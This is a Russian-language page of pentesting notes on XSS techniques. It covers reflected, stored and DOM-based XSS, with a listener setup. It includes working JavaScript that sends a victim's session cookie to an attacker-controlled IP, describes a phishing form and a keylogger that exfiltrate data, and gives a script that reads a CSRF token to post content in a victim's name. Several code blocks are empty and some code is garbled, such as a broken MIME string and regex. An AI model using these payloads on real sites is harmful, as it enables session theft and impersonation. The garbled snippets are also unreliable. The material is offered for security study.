> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-techniques-pentesting-web.md).
# Техники XSS
## XSS (Отражённый):
> Отражённый: этот тип XSS возникает, когда данные, предоставленные пользователем, отражаются в HTTP-ответе без надлежащей проверки. Это позволяет злоумышленнику внедрить вредоносный код в ответ, который затем выполняется в браузере пользователя.
* В этом случае мы можем внедрить HTML-код, как в примере ниже: `test
Test
`:
* Мы можем видеть, что нам удалось изменить размер текста с помощью **h1** тега:
## XSS (Сохранённый):
> Сохранённый: этот тип XSS возникает, когда злоумышленник может сохранить вредоносный код в базе данных или на веб-сервере, на котором размещена уязвимая страница. Этот код выполняется каждый раз при загрузке страницы. Если мы запустим скрипт, подобный приведённому ниже, в форме, ``, и получим предупреждение ниже, это означает, что сайт уязвим к такому типу атаки:
Мы могли бы перенаправить пользователя на вредоносный веб-сайт и провести фишинговую атаку:
```javascript
```
Этот JavaScript-код создаёт форму входа на веб-странице и отправляет введённые данные (адрес электронной почты и пароль) на указанный IP-адрес через HTTP-запрос с использованием `fetch()`.
```javascript
```
Мы слушаем на порту 80 с помощью **python3**:
```bash
python3 -m http.server 80
```
## XSS (на основе DOM):
> На основе DOM: этот тип XSS возникает, когда вредоносный код выполняется в браузере пользователя через DOM (Document Object Model). Это происходит, когда JavaScript-код на веб-странице изменяет DOM таким образом, что он становится уязвимым для внедрения вредоносного кода. Скрипт ниже может перехватывать все нажатия клавиш пользователя и отправлять их на **python3** сервер через порт 80:
```javascript
```
Мы можем прослушивать, фильтруя только нужные нам символы с помощью **grep**:
```bash
python3 -m http.server 80 2>&1 | grep -oP 'GET //K[^.*/s]+' | sed 's/%20//g'
```
***
Чтобы получить session cookie с сервера, мы создаём этот файл на нашем компьютере **test.js**
```javascript
var query = new XMLHttpRequest();
query.open('GET', 'http://192.168.71.128/?cookie=' + document.cookie);
query.send();
```
В форме мы отправляем этот скрипт:
```html
```
Мы слушаем и получаем session cookie пользователя:
Чтобы написать что-то от имени другого человека, мы могли бы выполнить следующие шаги: Перехватить запрос с помощью [Burp Suite](/ru/hacking-tools/web/burpsuite.md) и скопировать содержимое, выделенное красным:
Скрипт ниже выполняет **GET** запрос к локальному URL, анализирует HTML-ответ, чтобы определить **CSRF** токен, затем выполняет POST-запрос с данными, которые включают CSRF-токен, к тому же URL. URL-кодируемая `файл` переменная отправляет информацию на сервер, где реализован этот скрипт. Необходимо изменить `файл` значения, токен и IP-адрес.
```javascript
var domain = "http://localhost:10007/newgossip";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, 'text/htmthe );
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=My%20boss%20is%20a%20bastard%21%21&subtitle=I%20hate%20my%20job&text=you%20make%20me%20SICK%0A&_csrf_token=" + token;
req2.open('POST', 'http://localhost:10007/newgossip', false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
req2.send(data);
```
В форме мы отправляем этот скрипт:
```javascript